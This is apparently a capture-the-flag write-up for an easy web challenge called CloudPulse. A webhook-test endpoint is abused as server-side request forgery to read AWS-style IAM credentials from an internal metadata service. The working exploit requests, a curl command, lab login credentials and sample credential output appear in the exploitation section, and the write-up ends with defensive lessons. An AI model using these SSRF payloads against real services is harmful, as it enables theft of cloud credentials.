CloudPulse
CloudPulse
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-06 | Status: Solved Techniques: credential_extraction, metadata_enumeration, ssrf_exploitation
Summary
Task: authenticated CloudPulse dashboard exposed a webhook test feature that fetched attacker-supplied URLs from the server. Solution: abuse SSRF to enumerate an internal metadata service on 127.0.0.1:3001 and extract the IAM credential document containing the real flag in SecretAccessKey.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260406_hackadvisor_cloudpulse - Tags: ssrf, webhook, aws_metadata, internal_service_discovery
- Indicators: server-side webhook tester fetches arbitrary URLs, internal localhost services reachable through application, aws-style /latest/meta-data/ paths exposed internally
- Source:
20260406_hackadvisor_cloudpulse.md
Foothold
Vulnerability / Misconfiguration
- Credential_extraction
- Metadata_enumeration
- Ssrf_exploitation
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- credential_extraction
- metadata_enumeration
- ssrf_exploitation
- Tags: ssrf, webhook, aws_metadata, internal_service_discovery
Original Writeup
<details><summary>Click to expand original content</summary>Challenge Metadata
- Event: hackadvisor
- Task: CloudPulse
- Category: web
- Target:
https://99e6c2e5-ba6d-47a3-a684-747dbebc30b4.labs.hackadvisor.io - Credentials:
alex.m@nimbusops.io / password123
Brief Description
CloudPulse was an authenticated web challenge centered on a webhook testing feature. The application let the backend fetch arbitrary URLs and returned the full response, which turned the feature into an SSRF primitive and ultimately exposed internal AWS-style metadata credentials.
Recon / Observations
Before logging in, public pages and hidden HTML contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. This was not the solution; it was a deliberate decoy flag meant to trap shallow automation or incomplete reconnaissance.
After authenticating with the provided credentials, the CloudPulse dashboard exposed an Integrations page. The important feature there was Test Webhook, which issued a request to:
POST /api/integrations/test HTTP/1.1
Content-Type: application/json
{"url":"http://example.com"}
The response included fetched status, headers, and body. That behavior strongly suggested the server itself was making the outbound request.
Vulnerability Analysis
The vulnerable functionality was classic server-side request forgery (SSRF). Instead of validating destinations against an allowlist, the backend accepted an arbitrary url value, performed a server-side HTTP request, and reflected the remote response back to the user.
That immediately made localhost and internal-only services interesting targets. SSRF probing showed:
127.0.0.1:8080served the main CloudPulse app.127.0.0.1:3001exposed a separate internal plain-text HTTP service.
Most common paths on port 3001 returned 404 Not Found, so the next step was targeted enumeration for cloud metadata-style endpoints.
Exploitation Steps
1. Confirm SSRF with the webhook tester
Submit a crafted webhook test request:
POST /api/integrations/test HTTP/1.1
Host: 99e6c2e5-ba6d-47a3-a684-747dbebc30b4.labs.hackadvisor.io
Content-Type: application/json
Cookie: connect.sid=...
{"url":"http://127.0.0.1:3001/"}
The application returned the internal response, confirming SSRF.
2. Enumerate the internal service
Requesting the AWS metadata root produced the breakthrough:
POST /api/integrations/test HTTP/1.1
Content-Type: application/json
{"url":"http://127.0.0.1:3001/latest/meta-data/"}
This returned an AWS-style metadata directory listing. Further enumeration revealed:
/latest/meta-data/iam//latest/meta-data/iam/info/latest/meta-data/iam/security-credentials/- role name:
cloudpulse-monitoring-role
3. Retrieve the credential document
The final request was:
POST /api/integrations/test HTTP/1.1
Content-Type: application/json
{"url":"http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/cloudpulse-monitoring-role"}
Example curl request:
curl -s 'https://99e6c2e5-ba6d-47a3-a684-747dbebc30b4.labs.hackadvisor.io/api/integrations/test' \
-H 'Content-Type: application/json' \
-b cookies.txt \
--data '{"url":"http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/cloudpulse-monitoring-role"}'
Flag Extraction
The response body contained temporary AWS credentials:
{
"Code": "Success",
"LastUpdated": "2026-04-06T08:15:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXNIMBUSOQR7PULSE",
"SecretAccessKey": "FLAG{REDACTED}",
"Token": "FwoGZXIvYXdzEJ3//////////wEaDHN0cy1hc3N1bWUtcm9sZSIkMGRiNDM5ZGItNzI1MC00NjFjLWE1NGItYjg5NTRlYTUzMzRm",
"Expiration": "2026-04-06T14:30:00Z"
}
The real flag was the value of SecretAccessKey:
FLAG{REDACTED}
Lessons Learned / Defensive Notes
- Webhook and URL fetch features must use strict destination allowlists.
- Backend services should block access to
127.0.0.0/8, RFC1918 ranges, and metadata endpoints. - Cloud metadata services should be isolated or require hardened access controls.
- Returning raw response bodies from server-side fetchers makes SSRF far more dangerous.
- Decoy flags can appear in source or hidden HTML; always validate the full exploitation path before concluding a solve.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR